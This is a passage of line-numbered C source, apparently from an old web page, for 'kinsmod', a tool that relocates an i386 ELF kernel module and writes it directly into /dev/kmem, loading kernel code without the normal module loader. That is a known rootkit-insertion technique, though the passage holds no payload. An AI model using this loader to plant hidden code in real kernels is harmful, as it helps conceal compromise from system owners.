7435                 if (*p == 0 || p[1] == 0 || p[2] == 0) goto error;
7436
7437                 p += 2;
7438                 n = p;
7439                 while (*p && !isspace(*p)) ++p;
7440                 if (*p) *p = 0;
7441
7442                 strncpy(ksym.name, n, 60);
7443
7444                 if (ksyminsert(&ksym) < 0) goto error;
7445         }
7446
7447         fclose(f);
7448         return 0;
7449
7450 error:
7451         fclose(f);
7452         ksyms_cleanup();
7453         printf("--> %s\n", s);
7454         return -1;
7455 }
7456
7457 struct kernel_sym *ksyms_find(const char *name)
7458 {
7459         struct ksymlist *head = (struct ksymlist *)&ksymhash[hash(name)];
7460         struct ksymlist *current = head->next;
7461
7462         while (current != head) {
7463                 if (!strncmp(current->ksym.name, name, 60))
7464                         return &current->ksym;
7465
7466                 current = current->next;
7467         }
7468
7469         return NULL;
7470 }
7471
7472
7473
7474 /**********MAIN PROGRAM : kinsmod.c*/
7475 #include <stdio.h>
7476 #include <stdlib.h>
7477 #include <unistd.h>
7478 #include <string.h>
7479 #include <fcntl.h>
7480 #include <elf.h>
7481 #include <getopt.h>
7482 #include "kmem.h"
7483
7484 static char system_map[] = "System.kmap";
7485 static int error = 0;
7486 static int run = 0;
7487 static int force = 0;
7488
7489 struct _module {
7490         Elf32_Ehdr      ehdr;
7491         Elf32_Shdr*     shdr;
7492         unsigned long   maddr;
7493         int             maxlen;
7494         int             len;
7495         int             strtabidx;
7496         char**          section;
7497 };
7498
7499 Elf32_Sym *local_sym_find(
7500         Elf32_Sym *symtab, int n, char *strtab, const char *name
7501 )
7502 {
7503         int i;
7504
7505         for (i = 0; i < n; i++) {
7506                 if (!strcmp(&strtab[symtab[i].st_name], name))
7507                         return &symtab[i];
7508         }
7509
7510         return NULL;
7511 }
7512
7513 Elf32_Sym *localall_sym_find(struct _module *module, const char *name)
7514 {
7515         char *strtab = module->section[module->strtabidx];
7516         int i;
7517
7518         for (i = 0; i < module->ehdr.e_shnum; i++) {
7519                 Elf32_Shdr *shdr = &module->shdr[i];
7520
7521                 if (shdr->sh_type == SHT_SYMTAB) {
7522                         Elf32_Sym *sym;
7523
7524                         sym = local_sym_find(
7525                                 (Elf32_Sym *)module->section[i],
7526                                 shdr->sh_size/sizeof(Elf32_Sym),
7527                                 strtab,
7528                                 name
7529                         );
7530                         if (sym != NULL) return sym;
7531                 }
7532         }
7533
7534         return NULL;
7535 }
7536
7537 void check_module(struct _module *module, int fd)
7538 {
7539         Elf32_Ehdr *ehdr = &module->ehdr;
7540
7541         if (read(fd, ehdr, sizeof(*ehdr)) != sizeof(*ehdr)) {
7542                 perror("read");
7543                 exit(1);
7544         }
7545
7546 /* ELF checks */
7547
7548         if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {
7549                 fprintf(stderr, "File not ELF\n");
7550                 exit(1);
7551         }
7552
7553         if (ehdr->e_type != ET_REL) {
7554                 fprintf(stderr, "ELF type not ET_REL\n");
7555                 exit(1);
7556         }
7557
7558         if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
7559                 fprintf(stderr, "ELF machine type not EM_386 or EM_486\n");
7560                 exit(1);
7561         }
7562
7563         if (ehdr->e_version != EV_CURRENT) {
7564                 fprintf(stderr, "ELF version not current\n");
7565                 exit(1);
7566         }
7567 }
7568
7569 void load_section(char **p, int fd, Elf32_Shdr *shdr)
7570 {
7571         if (lseek(fd, shdr->sh_offset, SEEK_SET) < 0) {
7572                 perror("lseek");
7573                 exit(1);
7574         }
7575
7576         *p = (char *)malloc(shdr->sh_size);
7577         if (*p == NULL) {
7578                 perror("malloc");
7579                 exit(1);
7580         }
7581
7582         if (read(fd, *p, shdr->sh_size) != shdr->sh_size) {
7583                 perror("read");
7584                 exit(1);
7585         }
7586 }
7587
7588 void load_module(struct _module *module, int fd)
7589 {
7590         Elf32_Ehdr *ehdr;
7591         Elf32_Shdr *shdr;
7592         char **sectionp;
7593         int slen;
7594         int i;
7595
7596         check_module(module, fd);
7597
7598         ehdr = &module->ehdr;
7599         slen = sizeof(Elf32_Shdr)*ehdr->e_shnum;
7600
7601         module->shdr = (Elf32_Shdr *)malloc(slen);
7602         if (module->shdr == NULL) {
7603                 perror("malloc");
7604                 exit(1);
7605         }
7606
7607         module->section = (char **)malloc(sizeof(char **)*ehdr->e_shnum);
7608         if (module->section == NULL) {
7609                 perror("malloc");
7610                 exit(1);
7611         }
7612
7613         if (lseek(fd, ehdr->e_shoff, SEEK_SET) < 0) {
7614                 perror("lseek");
7615                 exit(1);
7616         }
7617
7618         if (read(fd, module->shdr, slen) != slen) {
7619                 perror("read");
7620                 exit(1);
7621         }
7622
7623         for (
7624                 i = 0, sectionp = module->section, shdr = module->shdr;
7625                 i < ehdr->e_shnum;
7626                 i++, sectionp++
7627         ) {
7628                 switch (shdr->sh_type) {
7629                 case SHT_NULL:
7630                 case SHT_NOTE:
7631                 case SHT_NOBITS:
7632                         break;
7633
7634                 case SHT_STRTAB:
7635                         load_section(sectionp, fd, shdr);
7636                         if (i != ehdr->e_shstrndx)
7637                                 module->strtabidx = i;
7638                         break;
7639
7640                 case SHT_SYMTAB:
7641                 case SHT_PROGBITS:
7642                 case SHT_REL:
7643                         load_section(sectionp, fd, shdr);
7644                         break;
7645
7646                 default:
7647                         fprintf(
7648                                 stderr,
7649                                 "No handler for section (type): %i\n",
7650                                 shdr->sh_type
7651                         );
7652                         exit(1);
7653                 }
7654
7655                 ++shdr;
7656         }
7657 }
7658
7659 void relocate(struct _module *module, Elf32_Rel *rel, Elf32_Shdr *shdr)
7660 {
7661         Elf32_Sym *symtab = (Elf32_Sym *)module->section[shdr->sh_link];
7662         Elf32_Sym *sym = &symtab[ELF32_R_SYM(rel->r_info)];
7663         Elf32_Addr addr;
7664         Elf32_Shdr *targshdr = &module->shdr[shdr->sh_info];
7665         Elf32_Addr dot =  targshdr->sh_addr + rel->r_offset;
7666         Elf32_Addr *loc = (Elf32_Addr *)(
7667                 module->section[shdr->sh_info] + rel->r_offset
7668         );
7669         char *name = &module->section[module->strtabidx][sym->st_name];
7670
7671         if (ELF32_ST_BIND(sym->st_info) != STB_LOCAL) {
7672                 struct kernel_sym *ksym;
7673
7674                 if (force) {
7675                         char novname[60];
7676                         int len;
7677
7678                         len = strlen(name);
7679                         if (len > 10 && !strncmp(name + len - 10, "_R", 2)) {
7680                                 strncpy(novname, name, len - 10);
7681                                 novname[len - 10] = 0;
7682                                 ksym = ksyms_find(novname);
7683                         } else
7684                                 ksym = ksyms_find(name);
7685                 } else
7686                         ksym = ksyms_find(name);
7687                 if (ksym != NULL) {
7688                         addr = ksym->value;
7689
7690 #ifdef DEBUG
7691                         printf(
7692                                 "Extern symbol is (%s:%lx)\n",
7693                                 ksym->name,
7694                                 (unsigned long)addr
7695                         );
7696 #endif
7697                         goto next;
7698                 }
7699
7700                 if (
7701                         sym->st_shndx == 0 ||
7702                         sym->st_shndx > module->ehdr.e_shnum
7703                 ) {
7704                         fprintf(
7705                                 stderr,
7706                                 "ERROR: undefined symbol (%s)\n", name
7707                         );
7708                         ++error;
7709                         return;
7710                 } 
7711         }
7712
7713         addr = sym->st_value + module->shdr[sym->st_shndx].sh_addr;
7714
7715 #ifdef DEBUG
7716         printf("Symbol (%s:%lx) is local\n", name, (unsigned long)addr);
7717 #endif
7718
7719 next:
7720         if (targshdr->sh_type == SHT_SYMTAB) return;
7721         if (targshdr->sh_type != SHT_PROGBITS) {
7722                 fprintf(
7723                         stderr,
7724                         "Rel not PROGBITS or SYMTAB (type: %i)\n",
7725                         targshdr->sh_type
7726                 );
7727                 exit(1);
7728         }
7729
7730         switch (ELF32_R_TYPE(rel->r_info)) {
7731         case R_386_NONE:
7732                 break;
7733
7734         case R_386_PLT32:
7735         case R_386_PC32:
7736                 *loc -= dot;    /* *loc += addr - dot   */
7737
7738         case R_386_32:
7739                 *loc += addr;
7740                 break;
7741
7742         default:
7743                 fprintf(
7744                         stderr, "No handler for Relocation (type): %i",
7745                         ELF32_R_TYPE(rel->r_info)
7746                 );
7747                 exit(1);
7748         }
7749 }
7750
7751 void relocate_module(struct _module *module)
7752 {
7753         int i;
7754
7755         for (i = 0; i < module->ehdr.e_shnum; i++) {
7756                 if (module->shdr[i].sh_type == SHT_REL) {
7757                         int j;
7758                         Elf32_Rel *relp = (Elf32_Rel *)module->section[i];
7759
7760                         for (
7761                                 j = 0;
7762                                 j < module->shdr[i].sh_size/sizeof(Elf32_Rel);
7763                                 j++
7764                         ) {
7765                                 relocate(
7766                                         module,
7767                                         relp,
7768                                         &module->shdr[i]
7769                                 );
7770
7771                                 ++relp;
7772                         }
7773                 }
7774         }
7775 }
7776
7777 void print_symaddr(struct _module *module, const char *symbol)
7778 {
7779         Elf32_Sym *sym;
7780
7781         sym = localall_sym_find(module, symbol);
7782         if (sym == NULL) {
7783                 fprintf(stderr, "No symbol (%s)\n", symbol);
7784                 ++error;
7785                 return;
7786         }
7787
7788         printf(
7789                 "%s: 0x%lx\n",
7790                 symbol,
7791                 (unsigned long)module->shdr[sym->st_shndx].sh_addr
7792                         + sym->st_value
7793         );
7794 }
7795
7796 void init_module(struct _module *module, unsigned long maddr)
7797 {
7798         int i;
7799         unsigned long len = 0;
7800
7801         module->maddr = maddr;
7802
7803         for (i = 0; i < module->ehdr.e_shnum; i++) {
7804                 if (module->shdr[i].sh_type != SHT_PROGBITS) continue;
7805
7806                 module->shdr[i].sh_addr = len + maddr;
7807                 len += module->shdr[i].sh_size;
7808         }
7809
7810         module->len = len;
7811
7812         if (module->maxlen > 0 && module->len > module->maxlen) {
7813                 fprintf(
7814                         stderr,
7815                         "Module too large: (modsz: %i)\n",
7816                         module->len
7817                 );
7818                 exit(1);
7819         }
7820
7821         printf("Module length: %i\n", module->len);
7822         
7823         relocate_module(module);
7824
7825         print_symaddr(module, "init_module");
7826         print_symaddr(module, "cleanup_module");
7827 }
7828
7829 void do_module(struct _module *module, int fd)
7830 {
7831         int kd;
7832         int i;
7833
7834 #ifdef DEBUG
7835         for (i = 0; i < module->ehdr.e_shnum; i++) {
7836                 if (module->shdr[i].sh_type != SHT_PROGBITS) continue;
7837
7838                 if (lseek(fd, module->shdr[i].sh_offset, SEEK_SET) < 0) {
7839                         perror("lseek");
7840                         exit(1);
7841                 }
7842
7843                 if (
7844                         write(
7845                                 fd, module->section[i], module->shdr[i].sh_size
7846                         ) != module->shdr[i].sh_size
7847                 ) {
7848                         perror("write");
7849                         exit(1);
7850                 }
7851         }
7852 #else
7853
7854         kd = open("/dev/kmem", O_RDWR);
7855         if (kd < 0) {
7856                 perror("open");
7857                 exit(1);
7858         }
7859
7860         if (lseek(kd, module->maddr, SEEK_SET) < 0) {
7861                 perror("lseek");
7862                 exit(1);
7863         }
7864
7865         for (i = 0; i < module->ehdr.e_shnum; i++) {
7866                 if (module->shdr[i].sh_type != SHT_PROGBITS) continue;
7867
7868                 if (
7869                         write(
7870                                 kd, module->section[i], module->shdr[i].sh_size
7871                         ) != module->shdr[i].sh_size
7872                 ) {
7873                         perror("write");
7874                         exit(1);
7875                 } 
7876         }
7877
7878         close(kd);
7879 #endif
7880 }
7881
7882 int main(int argc, char *argv[])
7883 {
7884         char *map = system_map;
7885         struct _module module;
7886         int fd;
7887         int ch;
7888         int retval = 0;
7889
7890         while ((ch = getopt(argc, argv, "m:tf")) != EOF) {
7891                 switch (ch) {
7892                 case 'm':
7893                         map = optarg;
7894                         break;
7895
7896                 case 't':
7897                         ++run;
7898                         break;
7899
7900                 case 'f':
7901                         ++force;
7902                         break;
7903                 }
7904         }
7905
7906 /*
7907         so we can move options in and out without changing the codes idea
7908         of what argv and argc look like.
7909 */
7910
7911         --optind;
7912
7913         argv += optind;
7914         argc -= optind;
7915
7916         if (argc != 3 && argc != 4) {
7917                 fprintf(
7918                         stderr,
7919                         "usage: k module [-t] [-m map] maddr(hex) [maxlen]\n"
7920                 );
7921                 exit(1);
7922         }
7923
7924 #ifdef DEBUG
7925         fd = open(argv[1], O_RDWR);
7926 #else
7927         fd = open(argv[1], O_RDONLY);
7928 #endif
7929         if (fd < 0) {
7930                 perror("open");
7931                 exit(1);
7932         }
7933
7934         if (ksyms_init(map) < 0) {
7935                 perror("ksyms_init");
7936                 exit(1);
7937         }
7938
7939         module.maxlen = (argc == 4 ? atoi(argv[3]) : -1);
7940         load_module(&module, fd);
7941         init_module(&module, strtoul(argv[2], NULL, 16));
7942         if (run == 0) {
7943                 if (error == 0) {
7944                         do_module(&module, fd);
7945                 } else {
7946                         fprintf(
7947                                 stderr,
7948                                 "FAILED: (%i) errors. Exiting...\n", error
7949                         );
7950                         ++retval;
7951                 }
7952         }
7953  
7954         ksyms_cleanup();
7955
7956         exit(retval);
7957 }
7958 </xmp>
7959 </HTML>